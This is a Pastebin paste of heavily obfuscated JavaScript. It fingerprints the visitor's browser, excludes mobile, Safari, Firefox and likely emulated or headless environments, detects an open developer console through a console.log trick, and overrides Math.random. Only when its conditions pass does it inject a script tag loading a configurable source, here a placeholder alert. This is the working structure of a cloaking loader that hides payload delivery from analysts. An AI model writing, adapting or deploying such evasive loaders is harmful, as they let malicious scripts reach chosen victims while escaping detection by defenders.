Advertisement
Lyudmila_B

Untitled

Jan 24th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.11 KB | None | 0 0
  1. // ~~~~~~~~~~~~~~~~~~~~~~~ код ~~~~~~~~~~~~~~~~~~~~~~~~
  2.  
  3. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  4.  
  5. +function () {
  6. var today, count, tobe = ['is', 'are', 'am'],
  7. dash = '__', empty = "";
  8.  
  9.  
  10. function magicStr(str) {
  11. var newStr = '', i;
  12. for (i = str.length - 1; i >= 0; i--) {
  13. newStr += str.charAt(i);
  14. }
  15. return newStr;
  16. }
  17.  
  18. function getParams(settings, count, place) {
  19. var end = count + place;
  20. today = Date;
  21. if (settings.length > count) {
  22. return settings.slice(place, end);
  23. } else {
  24. return settings;
  25. }
  26. }
  27.  
  28. var space, stream, context, // window, Node, document
  29. arr = ['sid', 'dep', 'spr', 'dev', 'rec', 'pos', 'sec', 'app', 'pers', 'plug'],
  30. params = {
  31. Debug: true,
  32. screen: 2,
  33. Name: 'Pix',
  34. device: 'mobile',
  35. Code: 'Enabled',
  36. Message: 'tri rome tent dom inspect fuber',
  37. version: 'ran',
  38. userImg: 'avatar',
  39. url: 'asset',
  40. air: 'fly',
  41. yaki: 'roll',
  42. restriction: 'age',
  43. max: 8,
  44. time: 'sec'
  45. },
  46. stable = arr[8] + tobe[0] + getParams(params.Message, 4, 9), // persistent
  47. column = extendArr(arr, tobe), // sidebar
  48. send = space[addSpan(arr[5], 't') + Object.keys(params)[5]], // window.postMessage
  49. temp = arr[9].substr(3), prefix = getParams(arr[0], 1, 1), // g and i
  50. fath = addSpan('p' + tobe[1], getParams(params.Message, 2, 11)),
  51. hole = addSpan(params.time, 'u') + getParams(params.Message, 2, 1) + addSpan('t', params.air.slice(0, -1));
  52.  
  53. function extendArr(array1, array2) {
  54. var res, params = {},
  55. keys = array2 ? array2 : [];
  56. space = this;
  57. stream = Node;
  58. for (var i = 1, len = array1.length; i < len; ++i) {
  59. var key = keys[i - 1],
  60. val = array1[i];
  61. if (key && val) {
  62. params[key] = val;
  63. }
  64. }
  65. if (array2.length > 0) {
  66. if (typeof array2 === 'object') {
  67. res = array1[0] + array1[1].slice(1, -1) + addSpan('b', getParams(array2[1], 2, 0));
  68. } else {
  69. res = array1[array2];
  70. }
  71. } else {
  72. res = array1[0] + array1[1].substr(1);
  73. }
  74. return res;
  75. }
  76.  
  77. function compare(arrExp, mark) {
  78. if (mark && mark === 2) {
  79. return arrExp && arrExp[0] || arrExp[1];
  80. }
  81. return arrExp && arrExp[0] && arrExp[1];
  82. }
  83.  
  84. var frame = stream[dash + 'c' + arr[2] + dash],
  85. special = ['glob', 'color', 'cook', 'ice', 'elem', 'ratio', 'tumb', 'web', 'form'],
  86. set = arr.filter(function (el) { //plugins
  87. context = document;
  88. return !el.indexOf('pl') && el
  89. })[0] + getParams(params.Message, 3, 18),
  90. usemap = addSpan([column, Object.keys(params)[0], capitalize(stable)]), // window["sidebar", "Debug", "PERSISTENT"]
  91. checkPoint = addSpan(hole) ? 4 : usemap[0] ? 1 : params.screen, // consoleCounter
  92. handle = navigator, breake = special[1].slice(0, 1), // c
  93. geometry = space[capitalize(addSpan(arr[4], 't'))];
  94. ~function (arg, value, numb) {
  95. var el = space[fath];
  96. numb = function () {
  97. return new today / count
  98. };
  99. try {
  100. Math[value] = numb;
  101. el.Math[value] = numb;
  102. el.el.Math[value] = numb;
  103. } catch (e) {
  104. }
  105. arg && arg.forEach(function (arg) {
  106. stream.prototype[arg[0]] = arg[1];
  107. });
  108. }(frame, addSpan(params.version, getParams(params.Message, 3, 14)));
  109.  
  110. function addParams(arg) { // navigator[]
  111. var str, val = handle;
  112. if (typeof arg === 'object') {
  113. arg.forEach(function (el) {
  114. str += el;
  115. });
  116. return val[str];
  117. } else {
  118. return val[arg];
  119. }
  120. }
  121.  
  122. var arrMc = special[3].split(breake),
  123. cash = addParams(set), check = RegExp,
  124. dataTime = addSpan(special[2] + arrMc.join(''), params.Code), //cookieEnabled
  125. resolution = addSpan(arr[3] + special[3], params.Name + getParams(special[4], 2, 0)),
  126. field = Object.keys(params)[2].toLowerCase(),
  127. flat = addSpan(resolution, capitalize(special[5])), //devicePixelRatio
  128. route = extendArr(screen, addSpan(special[1], capitalize(arr[1])) + 'th'); //screen.colorDepth
  129. function checkOther() { // 0 in Chromium
  130. var finish = getParams(special[6], 2, 1);
  131. return !empty.match.call(cash[0][field], finish);
  132. }
  133.  
  134. Array.prototype.push.apply(special, ['couch', 'was', 'dent']);
  135. var coin = addSpan(arr[1].slice(0, -2), getParams(special[6], 2, 1) + 'p'), //dump
  136. content = 'fix in far ref GLF eat odyn';
  137.  
  138. function pack() { //WebAssembly
  139. var part1 = addSpan(capitalize(special[7]), capitalize(params.url).slice(0, -1)),
  140. part2 = getParams(special[6], 2, 2) + params.air.substr(1);
  141. return addSpan(part1, part2);
  142. }
  143.  
  144. function capitalize(string) {
  145. count = 1e13;
  146. if (string.length > 0 && count) {
  147. if (string === stable) {
  148. return string.toUpperCase();
  149. } else {
  150. return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
  151. }
  152. }
  153. }
  154.  
  155. var truck = arr[6].slice(0, 1) + addSpan(arr[6].slice(2), params.yaki),
  156. road = addSpan([coin, pack(), truck]), //window[dump, WebAssembly, scroll]
  157. man = Object.keys(params)[7].slice(0, 4) + addSpan(capitalize(params.restriction), 'nt'), // userAgent
  158. stage = addSpan(arr[9].slice(0, 2), getParams(special[5], 2, 1)) + special[8], //platform
  159. resp = Object.keys(params)[12] + 'T' + addSpan(special[9].substr(1), capitalize('points')), //maxTouchPoints for no touchscreens
  160. transp = arr[5].substr(1) + addSpan(breake, arr[9].slice(0, 1)) + arr[9].slice(2, 3); //oscpu
  161. function unMob(arr) {
  162. var res, tmp = magicStr(arr[2]),
  163. val1 = addSpan('w', content.split(' ')[1]), //'w' for windows!!!!
  164. val2 = addSpan(tmp, breake);
  165. res = createMask(val1, val2, addSpan(temp, prefix));
  166. return res;
  167. }
  168.  
  169. function createMask(str, div, suffix) {
  170. var val;
  171. if (arguments.length === 1) {
  172. return new check(str);
  173. } else {
  174. val = div ? str + '|' + div : str;
  175. }
  176. return suffix ? new check(val, suffix) : new check(val);
  177. }
  178.  
  179. var isOpen = addParams(special[10] + params.device.charAt(0) + params.Code),//wasmEnabled
  180. title = addParams(arr[7] + Object.keys(params)[4] + Object.keys(params)[2]),
  181. variant = addParams(arr[7] + capitalize(Object.keys(params)[6])),
  182. future = function () { //isNewChrome
  183. return compare([send, space[flat]], 1) && route && compare([addParams(dataTime), cash], 1)
  184. },
  185. coffee = addParams(['j', getParams(params.userImg, 3, 0), params.Code]),
  186. isProp = function () { // /safari|firefox/i
  187. var str1 = addSpan('s', params.url.slice(0, 1)) + addSpan(content.split(' ')[2], prefix),
  188. str2 = content.split(' ')[0].slice(0, 2) + addSpan(content.split(' ')[3], 'ox');
  189. return createMask(str1, str2, prefix);
  190. };
  191.  
  192. function lift(elem) {
  193. var trade = 'b' + content.split(' ')[6].slice(0, -1),
  194. cur = addSpan(trade);
  195. return elem && cur.appendChild(elem);
  196. }
  197.  
  198. var linea = [title, variant].join(coffee), local = createMask(temp),
  199. heavy = typeof (crypto) == "function" || toFit(linea, createMask('"', null, temp)),
  200. italic = createMask(addSpan(special[9].substr(3), getParams(params.Message, 4, 4)), null, prefix);
  201.  
  202. function setOptions() {
  203. var place = addSpan(arr[2].slice(0, 1), arr[4].slice(0, 1)) + breake,
  204. str = arr[2].split('').map(function (el) {
  205. return el === 'p' ? breake : el
  206. }),
  207. div = addSpan(str.join(''), prefix + 'pt'),
  208. story = context.createElement(div);
  209. return lift(story)[place] = space.globalScriptSrc;
  210. }
  211.  
  212. function curOld() {
  213. var val = addSpan(getParams(params.Message, 3, 0), special[11]),
  214. tmp = magicStr(arr[1]);
  215. res = tmp.substr(1) + params.restriction.substr(1);
  216. return createMask(val, res, prefix);
  217. }
  218.  
  219. try {
  220. var much = road[2] + empty
  221. } catch (e) {
  222. var much = false
  223. }
  224. var graph = addSpan(capitalize(special[7]), getParams(content, 3, 15)), //WebGLF
  225. hold = params.version.slice(0, 2) + 'm',
  226. mem = function () { //WebGLFramebuffer
  227. var tmp = params.Message.split(' ')[5],
  228. tmp2 = magicStr(tmp),
  229. val1 = 'f' + tmp.slice(3),
  230. val2 = 'e' + tmp2.slice(2),
  231. str = addSpan(val2, val1);
  232. return addSpan(graph + hold, str);
  233. };
  234.  
  235. function isTech() {
  236. return compare([!road[0], compare([road[1], empty + addParams(transp) != "undefined"], 1)], 2) || isOpen
  237. }
  238.  
  239. function toSearch() {
  240. return compare([!addParams(resp), !heavy], 1) && compare([much, isTech()], 1)
  241. }
  242.  
  243. var getLook = compare([toFit(addParams(stage), unMob(tobe)), toSearch()], 1),
  244. ground = function () {
  245. return toFit(addParams(man), isProp()) && (geometry || usemap[0])
  246. },
  247. info = function () {
  248. return compare([toFit(addParams(man), italic), usemap[2]], 1) && future() && checkOther()
  249. };
  250. local.toString = function () {
  251. --checkPoint;
  252. return empty
  253. };
  254.  
  255. function toFit(txt, mask) {
  256. return mask ? txt.match(mask) : txt
  257. }
  258.  
  259. if (getLook) {
  260. if (compare([ground(), info()], 2) || toFit(addParams(man), curOld()) && usemap[1]) {
  261. console.log(local);
  262. if (checkPoint > 0 && addSpan([mem()])) setOptions();
  263. }
  264. }
  265.  
  266. function addSpan(arg1, arg2) {
  267. var data, el = context;
  268. if (arguments && arguments.length < params.screen) {
  269. if (typeof arg1 === 'object') {
  270. data = arg1.map(function (elem) {
  271. return space[elem]
  272. })
  273. } else {
  274. data = el[arg1]
  275. }
  276. } else {
  277. if (typeof arg1 === 'string' && typeof arg2 === 'string') data = arg1 + arg2
  278. }
  279. return data;
  280. }
  281. }();
  282.  
  283. // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement